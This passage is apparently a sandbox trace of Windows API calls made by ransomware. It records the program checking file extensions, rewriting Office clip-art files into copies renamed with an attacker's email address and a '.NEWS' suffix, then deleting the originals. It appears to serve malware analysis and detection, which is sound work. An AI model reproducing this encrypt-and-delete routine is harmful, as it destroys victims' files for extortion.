(lpString1=".ppt", lpString2=".WMF") returned -1 [0173.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0173.840] lstrlenW (lpString=".zip") returned 4 [0173.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.840] lstrlenW (lpString=".rar") returned 4 [0173.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.840] lstrlenW (lpString=".bz2") returned 4 [0173.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.840] lstrlenW (lpString=".7z") returned 3 [0173.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0173.840] lstrlenW (lpString=".dbf") returned 4 [0173.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0173.840] lstrlenW (lpString=".1cd") returned 4 [0173.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0173.841] lstrlenW (lpString=".jpg") returned 4 [0173.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0173.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0173.841] lstrlenW (lpString=".doc") returned 4 [0173.841] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.841] lstrlenW (lpString=".docx") returned 5 [0173.841] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0173.841] lstrlenW (lpString=".pdf") returned 4 [0173.841] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.841] lstrlenW (lpString=".xls") returned 4 [0173.841] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.841] lstrlenW (lpString=".xlsx") returned 5 [0173.841] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0173.841] lstrlenW (lpString=".ppt") returned 4 [0173.841] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0173.841] lstrlenW (lpString=".zip") returned 4 [0173.841] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.841] lstrlenW (lpString=".rar") returned 4 [0173.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.841] lstrlenW (lpString=".bz2") returned 4 [0173.841] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.841] lstrlenW (lpString=".7z") returned 3 [0173.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0173.841] lstrlenW (lpString=".dbf") returned 4 [0173.841] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0173.842] lstrlenW (lpString=".1cd") returned 4 [0173.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0173.842] lstrlenW (lpString=".jpg") returned 4 [0173.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.842] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0173.842] lstrlenW (lpString="J0102594.WMF") returned 12 [0173.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0173.842] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=27000) returned 1 [0173.842] CloseHandle (hObject=0x51c) returned 1 [0173.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 0x220 [0173.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0173.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0173.843] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.843] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0174.032] GetLastError () returned 0x0 [0174.033] ReadFile (in: hFile=0x51c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x6978, lpOverlapped=0x0) returned 1 [0174.035] WriteFile (in: hFile=0x544, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x6980, lpOverlapped=0x0) returned 1 [0174.036] ReadFile (in: hFile=0x51c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.036] WriteFile (in: hFile=0x544, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.037] SetEndOfFile (hFile=0x544) returned 1 [0174.037] CloseHandle (hObject=0x544) returned 1 [0174.037] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.037] SetEndOfFile (hFile=0x51c) returned 1 [0174.040] CloseHandle (hObject=0x51c) returned 1 [0174.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 1 [0174.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0174.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0174.041] lstrlenW (lpString=".doc") returned 4 [0174.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.041] lstrlenW (lpString=".docx") returned 5 [0174.041] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0174.041] lstrlenW (lpString=".pdf") returned 4 [0174.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.041] lstrlenW (lpString=".xls") returned 4 [0174.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.041] lstrlenW (lpString=".xlsx") returned 5 [0174.041] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0174.041] lstrlenW (lpString=".ppt") returned 4 [0174.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0174.041] lstrlenW (lpString=".zip") returned 4 [0174.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.042] lstrlenW (lpString=".rar") returned 4 [0174.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.042] lstrlenW (lpString=".bz2") returned 4 [0174.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.042] lstrlenW (lpString=".7z") returned 3 [0174.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0174.042] lstrlenW (lpString=".dbf") returned 4 [0174.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0174.042] lstrlenW (lpString=".1cd") returned 4 [0174.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0174.042] lstrlenW (lpString=".jpg") returned 4 [0174.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0174.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0174.042] lstrlenW (lpString=".doc") returned 4 [0174.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.042] lstrlenW (lpString=".docx") returned 5 [0174.042] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0174.042] lstrlenW (lpString=".pdf") returned 4 [0174.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.043] lstrlenW (lpString=".xls") returned 4 [0174.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.043] lstrlenW (lpString=".xlsx") returned 5 [0174.043] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0174.043] lstrlenW (lpString=".ppt") returned 4 [0174.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0174.043] lstrlenW (lpString=".zip") returned 4 [0174.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.043] lstrlenW (lpString=".rar") returned 4 [0174.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.043] lstrlenW (lpString=".bz2") returned 4 [0174.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.043] lstrlenW (lpString=".7z") returned 3 [0174.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0174.043] lstrlenW (lpString=".dbf") returned 4 [0174.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0174.043] lstrlenW (lpString=".1cd") returned 4 [0174.043] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0174.043] lstrlenW (lpString=".jpg") returned 4 [0174.043] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.043] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.043] lstrlenW (lpString="J0103812.WMF") returned 12 [0174.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0174.044] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=5908) returned 1 [0174.044] CloseHandle (hObject=0x51c) returned 1 [0174.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 0x220 [0174.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0174.045] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.045] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0174.046] GetLastError () returned 0x0 [0174.046] ReadFile (in: hFile=0x51c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x1714, lpOverlapped=0x0) returned 1 [0174.048] WriteFile (in: hFile=0x544, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1720, lpOverlapped=0x0) returned 1 [0174.049] ReadFile (in: hFile=0x51c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.049] WriteFile (in: hFile=0x544, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.049] SetEndOfFile (hFile=0x544) returned 1 [0174.049] CloseHandle (hObject=0x544) returned 1 [0174.049] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.049] SetEndOfFile (hFile=0x51c) returned 1 [0174.052] CloseHandle (hObject=0x51c) returned 1 [0174.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 1 [0174.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0174.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0174.054] lstrlenW (lpString=".doc") returned 4 [0174.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.054] lstrlenW (lpString=".docx") returned 5 [0174.054] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0174.054] lstrlenW (lpString=".pdf") returned 4 [0174.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.054] lstrlenW (lpString=".xls") returned 4 [0174.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.054] lstrlenW (lpString=".xlsx") returned 5 [0174.054] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0174.054] lstrlenW (lpString=".ppt") returned 4 [0174.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0174.054] lstrlenW (lpString=".zip") returned 4 [0174.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.054] lstrlenW (lpString=".rar") returned 4 [0174.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.054] lstrlenW (lpString=".bz2") returned 4 [0174.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.054] lstrlenW (lpString=".7z") returned 3 [0174.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0174.054] lstrlenW (lpString=".dbf") returned 4 [0174.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0174.054] lstrlenW (lpString=".1cd") returned 4 [0174.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0174.054] lstrlenW (lpString=".jpg") returned 4 [0174.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0174.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0174.055] lstrlenW (lpString=".doc") returned 4 [0174.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.055] lstrlenW (lpString=".docx") returned 5 [0174.055] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0174.055] lstrlenW (lpString=".pdf") returned 4 [0174.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.055] lstrlenW (lpString=".xls") returned 4 [0174.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.055] lstrlenW (lpString=".xlsx") returned 5 [0174.055] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0174.055] lstrlenW (lpString=".ppt") returned 4 [0174.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0174.055] lstrlenW (lpString=".zip") returned 4 [0174.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.055] lstrlenW (lpString=".rar") returned 4 [0174.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.055] lstrlenW (lpString=".bz2") returned 4 [0174.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.055] lstrlenW (lpString=".7z") returned 3 [0174.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0174.055] lstrlenW (lpString=".dbf") returned 4 [0174.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0174.055] lstrlenW (lpString=".1cd") returned 4 [0174.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0174.055] lstrlenW (lpString=".jpg") returned 4 [0174.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.055] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.056] lstrlenW (lpString="J0103850.WMF") returned 12 [0174.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0174.057] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=23596) returned 1 [0174.057] CloseHandle (hObject=0x51c) returned 1 [0174.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 0x220 [0174.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0174.058] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.058] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0174.059] GetLastError () returned 0x0 [0174.059] ReadFile (in: hFile=0x51c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x5c2c, lpOverlapped=0x0) returned 1 [0174.061] WriteFile (in: hFile=0x544, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x5c30, lpOverlapped=0x0) returned 1 [0174.062] ReadFile (in: hFile=0x51c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.062] WriteFile (in: hFile=0x544, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.063] SetEndOfFile (hFile=0x544) returned 1 [0174.063] CloseHandle (hObject=0x544) returned 1 [0174.063] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.063] SetEndOfFile (hFile=0x51c) returned 1 [0174.066] CloseHandle (hObject=0x51c) returned 1 [0174.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 1 [0174.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0174.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0174.067] lstrlenW (lpString=".doc") returned 4 [0174.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.067] lstrlenW (lpString=".docx") returned 5 [0174.067] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0174.067] lstrlenW (lpString=".pdf") returned 4 [0174.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.067] lstrlenW (lpString=".xls") returned 4 [0174.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.067] lstrlenW (lpString=".xlsx") returned 5 [0174.067] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0174.067] lstrlenW (lpString=".ppt") returned 4 [0174.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0174.067] lstrlenW (lpString=".zip") returned 4 [0174.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.067] lstrlenW (lpString=".rar") returned 4 [0174.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.068] 